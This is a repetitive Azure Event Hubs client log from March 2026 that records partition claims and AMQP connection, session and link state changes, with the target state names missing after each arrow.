+2026-03-13 03:18:21,393 [azure.eventhub._eventprocessor.event_processor] INFO: EventProcessor 'fce27f86-762f-47ec-89c8-6315b6765b2f' has claimed partition '7' +2026-03-13 03:18:21,393 [azure.eventhub._eventprocessor.event_processor] INFO: EventProcessor 'fce27f86-762f-47ec-89c8-6315b6765b2f' has claimed partition '5' +2026-03-13 03:18:21,394 [azure.eventhub._eventprocessor.event_processor] INFO: EventProcessor 'fce27f86-762f-47ec-89c8-6315b6765b2f' has claimed partition '4' +2026-03-13 03:18:21,394 [azure.eventhub._eventprocessor.event_processor] INFO: EventProcessor 'fce27f86-762f-47ec-89c8-6315b6765b2f' has claimed partition '6' +2026-03-13 03:18:21,565 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:18:21,571 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:18:21,671 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:21,671 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:21,671 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:21,672 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:21,672 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:21,672 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:21,672 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:21,672 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:21,680 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:21,680 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:21,680 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:21,680 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:21,680 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:21,681 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:21,681 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:21,681 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:21,724 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:21,734 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:21,784 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:21,835 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:21,885 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:21,885 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:21,898 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:18:21,936 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:21,936 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:22,007 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:22,007 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:22,007 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:22,008 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:22,008 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:22,008 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:22,008 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:22,008 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:22,079 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:22,142 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:22,196 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:22,253 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:18:22,308 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:22,309 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:22,309 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:22,309 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:22,309 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:22,309 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:22,309 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:22,309 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:22,309 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:22,309 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:22,309 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:22,309 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:22,309 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:22,309 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:22,361 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:22,361 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:22,361 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:22,361 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:22,362 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:22,362 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:22,362 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:22,362 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:22,415 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:22,534 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:18:22,583 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:18:22,641 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:22,641 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:22,641 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:22,641 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:22,641 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:22,641 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:22,642 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:22,642 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:22,683 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:22,683 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:22,684 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:22,684 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:22,684 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:22,684 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:22,684 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:22,684 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:22,694 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:22,734 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:22,744 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:22,794 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:22,845 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:22,845 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:22,895 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:22,895 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:22,907 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:18:23,014 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:23,015 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:23,015 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:23,015 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:23,015 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:23,015 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:23,015 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:23,015 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:23,068 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:23,100 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:23,154 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:23,230 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:18:23,265 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:23,266 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:23,266 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:23,266 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:23,266 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:23,266 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:23,266 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:23,266 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:23,266 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:23,266 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:23,266 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:23,266 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:23,266 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:23,266 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:23,330 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:23,331 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:23,331 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:23,331 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:23,331 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:23,331 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:23,331 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:23,331 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:23,381 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:23,481 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:18:23,556 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:18:23,582 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:23,582 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:23,582 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:23,582 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:23,582 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:23,582 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:23,582 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:23,583 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:23,632 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:23,664 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:23,664 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:23,665 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:23,665 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:23,665 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:23,665 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:23,665 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:23,665 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:23,682 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:23,718 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:23,732 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:23,783 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:23,783 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:23,833 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:23,833 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:23,906 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:18:24,023 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:24,024 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:24,024 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:24,024 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:24,024 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:24,024 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:24,024 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:24,024 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:24,035 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:24,082 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:24,085 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:24,196 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:24,196 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:24,196 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:24,197 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:24,197 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:24,197 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:24,197 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:24,197 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:24,197 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:24,197 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:24,197 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:24,197 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:24,197 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:24,197 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:24,259 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:18:24,368 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:24,368 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:24,368 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:24,368 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:24,369 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:24,369 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:24,369 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:24,369 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:24,422 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:24,422 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:24,423 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:24,423 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:24,423 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:24,423 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:24,423 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:24,423 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:24,423 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:24,423 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:24,423 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:24,423 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:24,423 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:24,423 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:24,423 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:24,423 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:24,423 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:24,423 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:24,424 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:24,424 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:24,424 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:24,424 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:24,424 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:24,424 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:24,424 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:24,424 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:24,424 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:24,424 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:24,424 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:24,424 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:24,424 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:24,424 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:24,425 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:24,425 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:24,425 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:24,425 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:24,425 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:24,425 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:24,425 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:24,425 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:24,425 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:24,425 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:24,425 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:24,425 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:24,425 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:24,425 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:24,425 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:24,426 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:24,426 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:24,426 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:24,426 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:24,426 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:24,426 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:24,426 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:24,426 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:24,431 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:18:24,487 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:24,543 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:24,543 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:24,546 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:24,547 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:24,547 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:24,547 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:24,547 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:24,547 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:24,547 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:24,547 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:24,600 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:24,600 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:24,604 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:24,655 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:24,656 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:24,657 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:24,705 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:24,711 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:24,711 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:24,755 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:24,755 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:24,768 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:24,768 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:24,806 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:24,806 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:24,821 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:24,821 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:24,878 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:24,878 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:24,941 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:24,942 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:24,999 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:25,015 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:25,073 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:25,188 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:25,188 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:25,188 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:25,188 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:25,188 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:25,188 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:25,188 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:25,188 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:25,188 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:25,188 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:25,188 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:25,189 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:25,189 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:25,189 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:25,422 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:18:25,532 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:25,532 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:25,532 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:25,532 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:25,532 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:25,532 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:25,532 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:25,532 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:25,586 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:25,636 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:25,686 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:25,736 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:25,737 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:25,787 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:25,787 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:25,993 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:26,047 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:26,162 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:26,162 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:26,162 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:26,162 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:26,162 